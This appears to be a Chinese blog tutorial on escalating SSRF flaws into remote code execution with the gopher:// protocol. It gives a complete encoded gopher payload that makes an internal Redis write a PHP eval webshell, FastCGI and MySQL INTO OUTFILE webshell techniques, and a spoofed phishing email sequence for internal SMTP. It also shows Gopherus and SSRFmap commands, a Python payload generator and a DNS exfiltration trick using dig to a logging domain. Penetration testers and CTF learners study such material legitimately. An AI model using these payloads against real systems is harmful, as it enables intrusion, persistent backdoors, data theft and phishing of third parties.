Gopher协议在SSRF漏洞中的高级利用:从原理到实战

1. 项目概述:从file://到Gopher的认知跃迁

在Web安全渗透测试,尤其是SSRF(Server-Side Request Forgery,服务端请求伪造)漏洞的利用中,很多人的知识库还停留在 file:// 协议读取本地文件,或者用 http:// 探测内网端口的初级阶段。这就像你手里明明有一把万能钥匙,却只用来开自己家的门锁,实在是暴殄天物。今天,我想和你深入聊聊一个被严重低估的“上古神器”——Gopher协议。它绝不仅仅是CTF比赛里的一个考点,而是在真实内网渗透、权限提升中极具杀伤力的武器。Gopher协议能构造出近乎原生的TCP数据包,直接与内网的Redis、MySQL、FastCGI(PHP-FPM)、SMTP甚至Memcached等服务进行交互,从而实现命令执行、文件写入、数据窃取等深度攻击。

你可能会在Pikachu、N1Book、CTFShow等靶场或实战中遇到SSRF,但面对一个只能出网或探测到内网端口的漏洞点,如何进一步利用往往卡住了很多人。核心难点在于,如何将我们想发送的复杂协议指令(比如一条完整的Redis命令序列),通过SSRF这个通常只支持GET请求的“狭窄通道”传递出去。Gopher协议正是解决这个问题的“桥梁”。它允许我们将任意TCP流封装成一个特殊的URL,通过SSRF漏洞点作为跳板发送出去。理解并掌握Gopher的手工构造与自动化生成,是将一个中低危的SSRF漏洞转化为高危远程代码执行(RCE)的关键一步。这篇文章,我将从一个实战者的角度,拆解Gopher协议的原理、手工构造的每一个字节、自动化Payload生成工具的内核,并分享我在多次红队演练中积累的利用技巧和避坑指南。

2. Gopher协议的核心原理与协议格式拆解

2.1 Gopher协议的前世今生与工作模式

Gopher是一个比HTTP还要古老的互联网协议,诞生于1991年。你可以把它理解为一个纯文本的菜单驱动式信息检索系统。它的设计非常简洁:客户端向服务器端的70端口发起一个TCP连接,发送一行由 <TAB> 键分隔的请求字符串(例如一个文档路径),服务器则返回相应的文本信息,然后关闭连接。正是这种“一发一收即关闭”的简单模型,使得它能够被我们“借用”来传输任何我们想要的TCP数据流。

在SSRF的语境下,我们利用的不是Gopher协议原本检索文档的功能,而是它作为一个“TCP隧道”的特性。大多数支持发起网络请求的语言库(如PHP的 curl file_get_contents , Python的 urllib , Java的 URLConnection )在遇到 gopher:// 开头的URL时,会尝试与指定主机和端口建立TCP连接,并将URL路径中编码后的内容作为TCP流 直接发送 过去。服务器端的响应通常会被丢弃(因为Gopher客户端原本就不处理复杂响应),但这对于我们发送攻击指令来说已经足够了。

关键在于 URL路径部分 。一个典型的Gopher URL格式为: gopher://<host>:<port>/<gopher-path> 。其中 <gopher-path> 决定了发送的数据。这里有一个至关重要的细节:Gopher客户端(即我们的SSRF漏洞点)会 丢弃 <gopher-path> 的第一个字符 。通常,这个字符被用作指示资源类型的“类型标识符”(如 0 代表文本文件, 1 代表目录列表)。在利用时,我们用一个无关紧要的字符(常用下划线 _ )作为这第一个字符,让它被丢弃,从而确保我们精心构造的数据能完整发出。

2.2 协议数据构造的底层逻辑:以Redis为例

为什么Gopher能攻击Redis、MySQL等服务?因为这些服务都是基于TCP的文本或二进制协议。只要我们能在TCP层面复现出客户端与服务端握手、认证、发送命令的完整数据流,就能模拟一个合法的客户端。

我们以最经典的 Redis未授权访问利用 为例,拆解数据构造过程。假设我们想通过SSRF,让内网的一台Redis服务器( 172.16.1.100:6379 )执行以下命令序列,写入一个Webshell:

flushall
set 1 "<?php @eval($_POST['cmd']);?>"
config set dir /var/www/html
config set dbfilename shell.php
save

Redis协议(RESP)是一个文本行协议。上面的命令需要被转换成RESP格式。RESP的基本单元有:

  • 简单字符串: +OK\r\n
  • 错误: -Error message\r\n
  • 整数: :1000\r\n
  • 批量字符串: $<长度>\r\n<数据>\r\n
  • 数组: *<元素数量>\r\n<元素1><元素2>...

我们的命令需要被构造成数组。例如, flushall 命令是一个没有参数的数组: *1\r\n$8\r\nflushall\r\n 。解释一下:

  • *1 表示这是一个包含1个元素的数组。
  • \r\n 是RESP协议规定的行分隔符(CRLF)。
  • $8 表示下一个批量字符串的长度是8字节。
  • flushall 就是这8字节的内容。
  • 最后再跟一个 \r\n

现在,我们把完整的攻击序列转换成RESP格式:

*1\r\n$8\r\nflushall\r\n
*3\r\n$3\r\nset\r\n$1\r\n1\r\n$31\r\n<?php @eval($_POST['cmd']);?>\r\n
*4\r\n$6\r\nconfig\r\n$3\r\nset\r\n$3\r\ndir\r\n$13\r\n/var/www/html\r\n
*4\r\n$6\r\nconfig\r\n$3\r\nset\r\n$10\r\ndbfilename\r\n$9\r\nshell.php\r\n
*1\r\n$4\r\nsave\r\n

这已经是我们需要发送的原始TCP数据了。接下来,为了将其放入Gopher URL,我们需要进行两步编码:

  1. URL编码 :将特殊字符进行百分号编码。 \r 变成 %0d \n 变成 %0a ,空格变成 %20 等。
  2. 处理Gopher的“首字符丢弃”规则 :在编码后的数据前加上一个无用字符(如 _ ),并用这个字符作为Gopher路径的开始。

最终构造出的Gopher Payload如下:

gopher://172.16.1.100:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2431%0D%0A%3C%3Fphp%20%40eval%28%24_POST%5B%27cmd%27%5D%29%3B%3F%3E%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2413%0D%0A%2Fvar%2Fwww%2Fhtml%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A

当存在SSRF漏洞的服务器(例如 curl(gopher://...) )访问这个URL时,它会与 172.16.1.100:6379 建立连接,并发送 _ 之后的所有解码后的数据(即原始的RESP格式命令流)。Redis服务器会将其视为一个合法客户端发来的命令序列并执行,从而在 /var/www/html 目录下生成 shell.php

注意 :这里有一个极易出错的点。 file_get_contents() 等函数在PHP中处理URL时,可能会对输入进行一次URL解码。如果你通过GET参数传递这个Payload,Web应用可能会先解码一次 %0d%0a 变成真正的换行,然后 curl file_get_contents 再发送时,可能因为换行符导致格式错误。因此,有时需要对Payload进行 二次编码 ,即把 % 再编码成 %25 。例如, %0d 变成 %250d 。这需要根据目标代码的具体上下文进行测试和调整。

3. 针对不同服务的Gopher Payload手工构造实战

理解了Redis的构造原理,我们就可以举一反三。不同的服务有不同的协议,构造逻辑相通,但细节各异。下面我们深入几个常见服务。

3.1 攻击PHP-FPM (FastCGI)

FastCGI是PHP与Web服务器(如Nginx)通信的协议。通过Gopher向PHP-FPM(通常监听9000端口)发送精心构造的FastCGI数据包,可以执行任意PHP代码,是绕过 disable_functions 限制的利器。

FastCGI协议是二进制协议,比Redis的文本协议复杂。一个执行PHP代码的FastCGI数据包主要包含两部分:

  1. Params数据段 :设置环境变量,最重要的是 SCRIPT_FILENAME (通常设为已有的一个PHP文件路径,如 /var/www/html/index.php )和 PHP_VALUE (用于设置PHP配置,我们可以在这里注入 auto_prepend_file 或直接写入 allow_url_include 等)。
  2. Stdin数据段 :包含我们想要执行的PHP代码。

手工构造二进制数据包非常繁琐。通常的思路是,先用脚本(如Python)生成一个标准的、用于本地测试的恶意FastCGI数据包,捕获其原始TCP流量,然后将这个流量进行URL编码,前面加上 _ ,拼接到Gopher URL中。

一个简化的利用步骤是:

  1. 使用公开的利用脚本(例如 gopherus 工具中的 php_fpm.py )生成Payload。你输入要执行的PHP命令和目标的 SCRIPT_FILENAME
  2. 脚本会输出一个已经编码好的Gopher URL。
  3. 通过SSRF漏洞点去请求这个URL。

其底层原理是模拟了一个FastCGI客户端,发送了 FCGI_BEGIN_REQUEST FCGI_PARAMS (包含 PHP_VALUE=allow_url_include=1+auto_prepend_file=php://input )和 FCGI_STDIN (包含 <?php system('id');?> )等数据包。

实操心得 :攻击PHP-FPM成功的前提是,你指定的 SCRIPT_FILENAME 在目标服务器上真实存在且FPM进程有权限读取。通常可以尝试 /var/www/html/index.php /usr/local/nginx/html/index.php 等常见路径。如果找不到,攻击会失败。

3.2 攻击MySQL

利用Gopher攻击MySQL,通常用于在存在SSRF且内网有MySQL服务的情况下,进行身份认证绕过、执行SQL语句,甚至通过 SELECT ... INTO OUTFILE 写入文件。

MySQL协议在握手阶段和命令阶段也比较复杂。手工构造需要理解其数据包结构: [数据包长度(3字节)][序列号(1字节)][数据] 。对于攻击而言,我们通常关注的是 COM_QUERY 命令包(字节 0x03 后接查询语句)。

一个典型的利用场景是:已知MySQL用户名密码(或弱口令),通过Gopher发送认证包和查询包。由于协议复杂,强烈建议使用自动化工具生成Payload。工具会帮你完成:

  1. 构造MySQL握手响应包(如果服务端需要)。
  2. 构造登录认证包(包含用户名、密码的加密哈希)。
  3. 构造 COM_QUERY 包,执行如 SELECT '<?php phpinfo();?>' INTO OUTFILE '/var/www/html/shell.php' 这样的语句。

注意事项 :MySQL的 secure_file_priv 系统变量会限制 INTO OUTFILE 能写入的目录。如果该变量为空,则可以写入任意目录;如果设置为某个路径,则只能写入该路径;如果为 NULL ,则禁止写入。在实战中需要先通过查询 show variables like 'secure_file_priv' 来确认。

3.3 攻击SMTP

SMTP(简单邮件传输协议,端口25)是发送邮件的协议。通过Gopher攻击内网SMTP服务器,可以伪造邮件发送者,进行钓鱼邮件攻击或邮件炸弹攻击。

SMTP是简单的文本协议,命令如 HELO MAIL FROM RCPT TO DATA QUIT 。构造Gopher Payload攻击SMTP相对简单:

  1. 将SMTP命令序列按行组装,每行以 \r\n 结尾。
  2. 对整个序列进行URL编码。
  3. 前面加上 _ ,构成Gopher URL。

例如,一个伪造发件人的Payload可能如下(编码前):

HELO attacker.com\r\n
MAIL FROM:<spoofed@attacker.com>\r\n
RCPT TO:<victim@internal.company>\r\n
DATA\r\n
Subject: Urgent Security Update\r\n
This is a phishing email.\r\n
.\r\n
QUIT\r\n

将这个文本流编码后放入Gopher URL,通过SSRF发送到内网SMTP服务器,就可能成功发送一封伪造邮件。

避坑指南 :现代SMTP服务器通常有反垃圾邮件策略,如SPF、DKIM检查。攻击内部SMTP服务器可能更容易成功,但对外发送伪造邮件很可能被接收方服务器拒绝。此外,一些SMTP服务器需要认证( AUTH LOGIN 命令),如果不知道密码,攻击将止步于此。

4. 自动化Payload生成工具的原理与实战应用

手工构造Gopher Payload,尤其是对于二进制协议,极易出错且效率低下。因此,自动化工具应运而生。理解这些工具的原理,能让你更好地使用和调试它们。

4.1 主流工具解析:Gopherus与SSRFmap

1. Gopherus 这是一个用Python编写的经典工具,以其简单易用著称。它支持生成攻击Redis、MySQL、PHP-FPM、Zabbix等服务的Payload。

  • 原理 :工具内部内置了针对不同服务的协议模板。当你选择服务类型并提供参数(如要执行的命令、文件路径、数据库名等)后,工具会:
    • 调用对应的协议生成函数,构造出原始的协议数据流(字节序列)。
    • 对这个数据流进行URL编码。
    • 在编码后的数据前加上 _ (或其他指定字符)。
    • 拼接成完整的 gopher:// URL输出。
  • 使用示例 (攻击Redis写入Webshell):
    python gopherus.py --redis 172.16.1.100 6379 "/var/www/html" "shell.php" "<?php system($_GET['c']);?>"
    
    工具会输出完整的Gopher URL。你只需要将其注入到存在SSRF的参数中即可。
  • 优点 :一键生成,无需理解底层协议细节。
  • 缺点 :协议模板可能更新不及时,对于某些特殊版本或配置的服务可能不兼容。

2. SSRFmap 这是一个功能更强大的自动化SSRF利用框架,用Python编写。它不仅仅支持Gopher,还支持多种协议和利用方式。

  • 原理 :SSRFmap采用模块化设计。它有一个“Gopher”模块,内部又细分了 redis mysql 等子模块。每个子模块是一个Python脚本,负责生成对应服务的Payload。它的工作流程更自动化:
    • 你提供存在SSRF的URL和参数。
    • 工具自动探测内网存活主机和端口。
    • 根据探测结果,自动选择相应的Payload模块进行测试。
  • 使用示例
    python ssrfmap.py -u "http://vuln-site.com/ssrf.php?url=XXX" -p url --lhost 172.16.1.100 --lport 6379 --redis-shell
    
    这个命令会尝试利用SSRF,向 172.16.1.100:6379 发送Redis写Shell的Payload。
  • 优点 :自动化程度高,集成端口扫描、漏洞利用于一体。
  • 缺点 :工具相对复杂,在高度定制化的场景下可能需要修改其模块代码。

4.2 自定义Payload生成脚本编写思路

当现成工具无法满足需求时(例如,需要攻击一个私有协议或特定版本的服务),你需要自己编写生成脚本。核心思路如下(以Python为例):

  1. 协议研究 :使用Wireshark抓取一次正常的客户端与服务端的通信流量。分析数据包的结构、顺序、编码。
  2. 模板构建 :将流量中固定不变的部分(如协议头、固定的命令字节)定义为常量或模板。
  3. 变量替换 :将需要动态变化的部分(如命令、文件路径、IP地址)作为变量,设计函数参数。
  4. 数据组装与编码 :将模板和变量拼接成完整的字节流 bytes ,然后使用 urllib.parse.quote 函数进行URL编码。特别注意,要对整个字节流进行编码,而不仅仅是字符串。
  5. Gopher URL拼接 :在编码后的字符串前加上 _ ,然后与 gopher://host:port/ 拼接。
import urllib.parse

def generate_gopher_redis_payload(host, port, command_sequence):
    """
    command_sequence: RESP格式的命令列表,例如 [b'*1\r\n$7\r\nflushall\r\n', ...]
    """
    raw_data = b''.join(command_sequence)
    # URL编码,注意是编码整个字节流
    encoded_data = urllib.parse.quote(raw_data)
    # 添加Gopher丢弃的首字符
    gopher_path = '_' + encoded_data
    # 拼接完整URL
    gopher_url = f"gopher://{host}:{port}/{gopher_path}"
    return gopher_url

# 示例:生成flushall命令
resp_cmd = b'*1\r\n$8\r\nflushall\r\n'
url = generate_gopher_redis_payload('127.0.0.1', 6379, [resp_cmd])
print(url)

5. 高级利用技巧、绕过与实战排查实录

掌握了基础构造和工具使用,我们进入更贴近实战的高级阶段。这里充满了各种“坑”和需要灵活应对的场景。

5.1 协议差异与编码陷阱

  1. CRLF注入与协议混淆 :有些SSRF实现可能不完全遵循Gopher协议标准,或者后端处理逻辑有问题。例如,如果目标代码在拼接URL时没有正确过滤,我们可能可以在Gopher URL中注入额外的 \r\n 来提前结束当前协议并开始一个新的协议会话(如从HTTP切换到SMTP),但这非常依赖于具体环境。
  2. 双重编码问题 :如前所述,这是最常见的坑。如果Payload被解码两次, %0d%0a 会先变成真正的换行符,在第二次发送时可能破坏数据格式。 解决方案 :在不确定的情况下,尝试发送双重编码的Payload。观察目标应用的响应,如果返回类似“Invalid Protocol”的错误,可能是解码次数不对。
  3. 字符集与二进制数据 :当Payload中包含非ASCII字符或纯二进制数据时,URL编码必须基于字节进行。在Python中,确保你对 bytes 对象使用 urllib.parse.quote ,而不是对 str 对象。对 str 对象编码会使用UTF-8,这可能改变原始字节。

5.2 内网探测与不出网利用

Gopher在SSRF中最美妙的用途之一是攻击 不出网但SSRF点可访问的内网服务 。思路如下:

  1. 端口扫描 :利用SSRF的 file:// 协议读取 /proc/net/tcp 等文件来探测内网端口是基础方法。更主动的方法是,将Gopher Payload的目标端口设置为变量,批量请求,根据响应时间或错误信息差异来判断端口是否开放。例如,向一个关闭的端口发送Gopher请求通常会快速返回连接拒绝错误,而开放的端口可能会等待超时(如果服务不响应Gopher协议)。
  2. 服务指纹识别 :识别出开放端口后,可以发送一些简单的、通用的协议探测Payload。例如,向6379端口发送一个Redis的 PING 命令( *1\r\n$4\r\nPING\r\n ),如果返回 +PONG (编码在响应里,虽然Gopher不处理响应,但有些SSRF实现可能会将错误信息或部分响应回显),则基本可以确定是Redis。
  3. 不出网写Shell :这是经典场景。内网Redis未授权,但服务器不能访问外网。通过SSRF+Gopher,将Webshell写入内网Redis服务器所在的Web目录。然后,通过SSRF访问 http://内网IP/shell.php 来触发命令执行。整个过程中,攻击者的流量只到达存在SSRF漏洞的边界服务器,内网Redis和Web服务都不需要出网。

5.3 常见问题排查速查表

在实战中,Gopher利用失败是常态。下面这个表格整理了常见现象、可能原因和排查步骤:

现象 可能原因 排查步骤
请求后无任何反应或长时间超时 1. 目标IP/端口不对或未开放。
2. 防火墙拦截。
3. 服务崩溃(如错误的Redis命令导致服务无响应)。
1. 先用 http:// 协议探测目标IP端口通断。
2. 尝试发送一个最简单的、无害的协议命令(如Redis的 PING )。
3. 在可控环境(如Docker)中复现测试Payload。
返回“Invalid URL”或“Protocol not supported” 1. 目标服务器/中间件不支持 gopher:// 协议。
2. URL格式错误,包含非法字符。
1. 确认漏洞点使用的网络库是否支持Gopher(如PHP的curl支持,但某些版本或配置可能禁用)。
2. 检查生成的URL,确保主机名、端口号格式正确,编码无误。
返回“Connection refused” 目标端口关闭。 确认端口号,并确保服务正在运行。
服务收到了请求但未执行预期操作(如Redis没写入文件) 1. Payload协议格式错误。
2. 权限不足(如Redis无法写入目标目录)。
3. 服务配置限制(如MySQL的 secure_file_priv )。
4. 数据被中间件修改(如负载均衡器、WAF)。
1. 最有效的方法:在本地搭建相同版本的服务,用nc监听端口,将SSRF点发出的Payload重定向到本地nc,查看原始数据是否完全正确。
2. 检查命令逻辑,例如Redis的 dir 路径是否存在且可写。
3. 尝试更简单的命令验证服务是否可达,如Redis的 set test 123
命令被执行了,但效果不符合预期(如写入文件内容乱码) 字符编码问题。Payload中的特殊字符或二进制数据在多次编解码中损坏。 1. 确保Payload生成脚本输出的是原始字节流的正确编码。
2. 在Payload中避免使用可能被Web服务器或中间件过滤的字符(如 \x00 空字节)。
3. 使用 bytes 类型处理数据,而非 str

5.4 我的实战心得与技巧

  1. 从简单到复杂 :不要一上来就尝试写Webshell。先发一个 PING INFO (Redis)命令,确认协议通道是通的,服务是正常的。
  2. 善用网络调试工具 nc -lvp 9000 是你最好的朋友。在测试阶段,可以将Gopher URL的目标指向你自己的VPS或本地监听的端口,查看SSRF漏洞点实际发送出来的原始数据到底是什么样子,这是调试Payload格式的黄金方法。
  3. 注意交互式协议 :像MySQL、SMTP这类有多次交互的协议,Gopher Payload需要包含完整的交互序列。工具生成的Payload通常假设了服务端的标准回应。如果服务端回应不符合预期(例如需要特定的认证插件),攻击可能会失败。这时需要更精细的流量分析。
  4. 利用DNS回显 :如果命令执行无回显,可以尝试使用DNS外带技术。例如,在Redis中执行 config set dbfilename "|dig whoami .your-dns-log.com "`(需根据实际情况调整),通过DNS查询记录来获取命令执行结果。
  5. 保持Payload的简洁和兼容性 :越复杂的Payload越容易出错。在写入文件时,优先考虑写入一个简单的命令执行后门,而不是功能复杂的大马。对于PHP, <?php system($_GET[‘c’]);?> 通常比 <?php @eval($_POST[‘cmd’]);?> 更可靠,因为后者可能受 short_open_tag 等配置影响。

Gopher协议在SSRF中的利用,是一门需要耐心和细致的手艺。它要求你对网络协议有深入的理解,对编码、数据格式有清晰的把握。从只会用 file:// 读文件,到能熟练运用Gopher攻击内网多种服务,是一个Web安全研究者能力的重要分水岭。这个过程没有捷径,多搭建靶场环境(如Pikachu、N1Book、自己用Docker组合的脆弱服务)进行练习,多分析工具生成的Payload,多动手写调试脚本,才能真正掌握这门“内网穿行术”。当你在实战中,通过一个不起眼的SSRF入口,利用Gopher协议层层深入,最终拿到内网核心服务器权限时,那种成就感,远非简单的漏洞扫描所能比拟。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值